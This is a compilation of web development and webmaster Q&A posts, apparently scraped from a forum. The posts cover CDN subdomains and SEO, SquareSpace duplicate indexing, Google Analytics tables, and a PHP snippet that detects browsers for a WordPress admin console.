# Background From my understanding, `http://mywebsite.com/image.jpg`, can help the ranking of `http://mywebsite.com` in a search engine, such as Google (obviously the search engine of primary concern). So, SEO-wise, moving an image to `http://whatever-cdn.com/my- account/image.jpg` is bad. A popular solution is to use a CNAME record, such as `http://cdn.mywebsite.com`, so that image.jpg can be accessed at `http://cdn.mywebsite.com/image.jpg`. # The question Does `http://cdn.mywebsite.com/image.jpg` rank as effectively as `http://mywebsite.com/image.jpg` ? Does it help boost the main `http://mywebsite.com` ? Or, does it rank independently because it is a subdomain? Is there another option (a way to use a CDN without sacrificing ranking)?


Mitigating the duplicate content issue with SquareSpace

I have worked a considerable amount with a customer on a SquareSpace domain recently, and have noticed that Google is indexing content at `[sitename].com` and `[sitename].squarespace.com`. After considerable discussion with the SS support channel, I am advised that it is impossible to disable the default SquareSpace domain, and difficult to mask it - so I ask anyone with any experience in the matter, how best do I redirect all visitors (particularly Google!) to the new URI?


Tables in Google Analytics: calculating % of total in Google Analytics

I am analyzing two segments (based on an existing dimension) in a table in a Google Analytics dashboard and I want to know how to add a column and insert a calculation that calculates the % of Total each segment comprises of the total visits? Furthermore, is it possible to have a table with more than 3 columns? I can't seem to find a way to add more columns without adding additional widgets.


Assigning domains to IP addresses

If I have registered multiple domain names but only intend to use one domain name for the website in question and put 301 redirects in place for all of the others, do I only need assign one domain name to an IP address?


Are there any good reasons to intentionally serve a new web site in Quirks mode?

I was a little surprised that Amazon's site doesn't specify a doctype, and is rendered in quirks mode. What could possibly be the reason for this? I understand what quirks mode is and why doctypes were introduced, but I can't understand why this would be intentionally left off. I guess it might simplify markup if they're trying to support ancient browsers, but isn't that like shooting yourself in the foot when it comes to modern browsers, especially when their site is so Javascript rich? Does this level the playing field when it comes to supporting really old browsers? Is there something else I'm missing?


Moving large amounts of data between shared hosts

I recently acquired a client who is a photographer and was interested in moving web hosts since his current host had threatened to throw him off due to CPU spiking. The migration went fairly easily, with about 350MBs of website and media files. Then I discovered about 60GBs of client galleries he had failed to mention. I am unable to move this much data myself, since I'm capping out at about 20kb/s on the FTP connection. Has anyone encountered a situation where they needed to migrate this much data between cheap hosting? Should we contact the hosting companies about this (he is moving from Westhost to MediaTemple)?


jQuery/AJAX on old Computers/Browsers

I am working on a plattform that will have a lot of users in the so called "developing countries". So many of them will be using old computers and old browsers in tiny internet cafes. We want to make sure to give them a good user Experience and make sure the website loads as fast as possible. Problem is, that while you can save a lot of requeasts and time, using jQuery/AJAX, it also brings along a lot of Problems: - Will the Computers be powerfull enough to deal with the client side scripts? - Will the old Browsers handle jQuery? Does anyone have any experience with these sort of problems or might know of some sort of article on the topic?


Detecting Browser Types?

My client has asked me to implement a browser detection system for the admin login with the following criteria, allow these:   * Internet Explorer 8 or newer   * Firefox 3.6 or newer   * Safari 5 or newer for Mac only And everything else should be blocked. They want me to implement a page telling the user what browser they need to upgrade/switch to in order to access the CMS. **Basically I need to know the best way to detect these browsers with PHP, distinct from any other browsers, and I've read thatbrowser sniffing per se is not a good idea.** The CMS is WordPress but this is _**not**_ a WordPress question _(FYI I am a moderator on theWordPress Answers site.)_ Once I figure out the right technique to detect the browser I'm fully capable to make WordPress react as my client wants, I just need to know what the best ways are with PHP _(or worse case jQuery, but I much prefer to do on the server)_ to figure how what works and what doesn't. Please understand that _"Don't do it"_ is not an acceptable answer for this question. I know this client too well and when they ask me to implement something I need to do it _(they are a really good client so I'm happy to do what they ask.)_ Thanks in advance for your expertise. ### UPDATE This requirement is **for the admin console, not the public site** ; we'll support everything on the public site but we've heavily modified the WordPress admin console and we only want to have to test on the main three (3) browsers. So feature detection is not really relevant here; this is a testing and support requirement, not a requirement for supporting specific features. And the project does not have the funding to support all browsers; it's just not realistic when there are probably only going to be 25 or 50 users of the admin console in total. ### UPDATE #2 For the benefit of anyone with the same requirements here's the solution I came up with:               $min_versions = array(       'safari'  => 5,       'firefox' => 3.6,       'msie'    => 8,     );     $good_browser = false;     $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);     if (preg_match("#applewebkit/.*?version/([0-9]+)\..*?safari/#", $user_agent, $match)) {       $good_browser = intval($match[1])>=self::$min_versions['safari'];     } else {       foreach(array('firefox','msie') as $browser) {         if (preg_match("#{$browser}/([0-9]+)\.#", $user_agent, $match)) {           $good_browser = intval($match[1])>=self::$min_versions[$browser];           break;         }       }     }     if (!$good_browser) {       // Do redirect to an upgrade page     }      And this is the solution packaged as a standalone file designed to be included in a WordPress plugin or by the `functions.php` file of a WordPress theme:               <?php     /* my-clients-browser-detect.php */          if (!class_exists('MyClients_BrowserDetector')) {       class MyClients_BrowserDetector {         static $min_versions = array(           'safari'  => 5,           'firefox' => 3.6,           'msie'    => 8,         );         static function admin_init() {           $good_browser = false;           $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);           if (preg_match("#applewebkit/.*?version/([0-9]+)\..*?safari/#", $user_agent, $match)) {             $good_browser = intval($match[1])>=self::$min_versions['safari'];           } else {             foreach(array('firefox','msie') as $browser) {               if (preg_match("#{$browser}/([0-9]+)\.#", $user_agent, $match)) {                 $good_browser = intval($match[1])>=self::$min_versions[$browser];                 break;               }             }           }           if (!$good_browser) {             $pages = self::get_pages('page-upgrade-browser.php');             if (count($pages)==0) {               echo "
Please upgrade your browser to one of the following:

";               foreach(self::$min_versions as $browser => $version) {                 echo "
{$browser}: {$version}
";               }               echo "
";               exit;             }             $permalink = get_page_link(get_post($pages[0])->ID);             wp_safe_redirect($permalink,302);           }         }         static function get_pages($template) {           global $wpdb;           $sql = $wpdb->prepare("SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key='_wp_page_template' AND meta_value='%s'",$template);           $pages = $wpdb->get_col($sql);           foreach($pages as $index => $page_id)             $pages[$index] = get_post($page_id);           return $pages;         }         static function on_load() {           add_action('admin_init', array(__CLASS__,'admin_init'));         }       }       MyClients_BrowserDetector::on_load();     }      As several people have mentioned feature detection is usually considered a better approach but for this use-case we really didn't have specific features we cared about, we had specific named browsers we cared about so feature detection wasn't a viable option. FYI, the client knows that we may have to revise this script in the future if we can false negatives or false positives. -Mike


Which Drupal Modules do I need for a news site?

What are some important modules I should install in Drupal if I am going to use it for a news website.


Google webmaster for Adult site

I am developing an adult wallpaper website. My question is can I use Google Webmaster Tools? Please tell me the benefit or disadvantage.


How important is responsive web design?

I've heard a variety of opinions regarding the pros and cons of using responsive web design recently and was wondering whether it was necessary for small businesses that target small geographical areas to implement responsive web design? Some sub-questions I have regarding this include:   1. Is it better to use responsive web design as opposed to having separate code utilized for different dimensions/devices?   2. Can it potentially affect SEO (positively or negatively)?   3. What are the main problems I could run into when optimizing a website for a business using this design method?